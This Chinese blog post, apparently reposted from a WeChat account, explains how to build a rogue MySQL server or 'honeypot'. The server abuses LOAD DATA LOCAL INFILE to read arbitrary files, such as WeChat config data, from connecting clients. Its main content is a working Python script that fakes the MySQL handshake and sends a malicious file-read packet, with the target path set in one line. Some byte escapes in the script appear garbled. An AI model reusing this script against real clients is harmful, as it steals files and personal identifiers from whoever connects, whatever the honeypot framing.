关于MySQL密码 你不知道的事

admin 2023年12月28日08:53:51评论29 views字数 2160阅读7分12秒阅读模式

本文我们搭建一个mysql蜜罐。通过密码我们可以获取攻击者的相关信息。

本文仅供学习和研究,坚决反对一切危害网络安全的行为。

实验环境

我们首先创建一个数据库,并且保存能够远程登录。

关于MySQL密码 你不知道的事

思路:当攻击者通过暴力破解等操作,登录数据库,我们便可以获得攻击者的相关信息。如微信id 手机号码等信息。

信息验证

微信ID:在微信文件WeChat Files/All Users/config/config.data

关于MySQL密码 你不知道的事

使用WireShark抓包,选择对应网卡并指定3306端口

关于MySQL密码 你不知道的事接下来我们尝试利用mysql命令读取本地mysql服务器中的文件。

use dabiaoge;#进入数据库
create table student(id varchar(8));# 创建一个student
#将/root/22.txt中的文件读取,并写入数据库
load data local infile "D:/1.txt" into table student;

关于MySQL密码 你不知道的事相应的网络请求信息。

关于MySQL密码 你不知道的事以上,我们是在Linux环境中进行的,Windows同理。利用LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload

关于MySQL密码 你不知道的事因此,可以利用socket模块来模拟一个mysql认证的流程:

参考脚本

# coding=utf-8
import socket
import os

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)

def get_data(filename, client, addr):
    base_path = os.path.abspath('.') + "/log/" + addr[0]
    if not os.path.exists(base_path):
        os.makedirs(base_path)

    evil_response = str.encode(chr(len(filename)+1)) + b"x00x00x01xfb" + str.encode(filename)  # 恶意响应包    
    client.sendall(evil_response)
    file_data = client.recv(999999)
    print(file_data)
    with open(base_path + "/" + filename.replace("/""_").replace(":"""), "wb+") as f:
        f.write(file_data)
        f.close()

while True:
    # 建立客户端连接
    client, addr = server.accept()
    print("连接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"x4ax00x00x00x0ax38x2ex30x2ex31x32x00x08x00x00x00x2ax51x47x38x48x17x12x21x00xffxffxc0x02x00xffxc3x15x00x00x00x00x00x00x00x00x00x00x7ax6fx6ex25x61x3ex48x31x25x43x2bx61x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
    client.sendall(version_text)
    try:
        # 客户端请求信息
        client.recv(9999)
    except Exception as e:
        print(e)
    # Response OK
    verification = b"x07x00x00x02x00x00x00x02x00x00x00"
    client.sendall(verification)
    try:
        # SET NAMES utf8mb4
        client.recv(9999)
    except Exception as e:
        print(e)

    # Response TABULAR
    filename = "C:\Windows\PFRO.log"
    #这里为要读取的文件路径
    get_data(filename, client, addr)
    client.close()

当目标进行登录时,我们变能获得对方信息。

关于MySQL密码 你不知道的事注意: 由于环境等问题,在高版本mysql中可能不能复现,需要修改配置文件。

更多精彩文章 欢迎关注我们


原文始发于微信公众号(kali笔记):关于MySQL密码 你不知道的事

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月28日08:53:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于MySQL密码 你不知道的事https://cn-sec.com/archives/2339028.html

发表评论

匿名网友 填写信息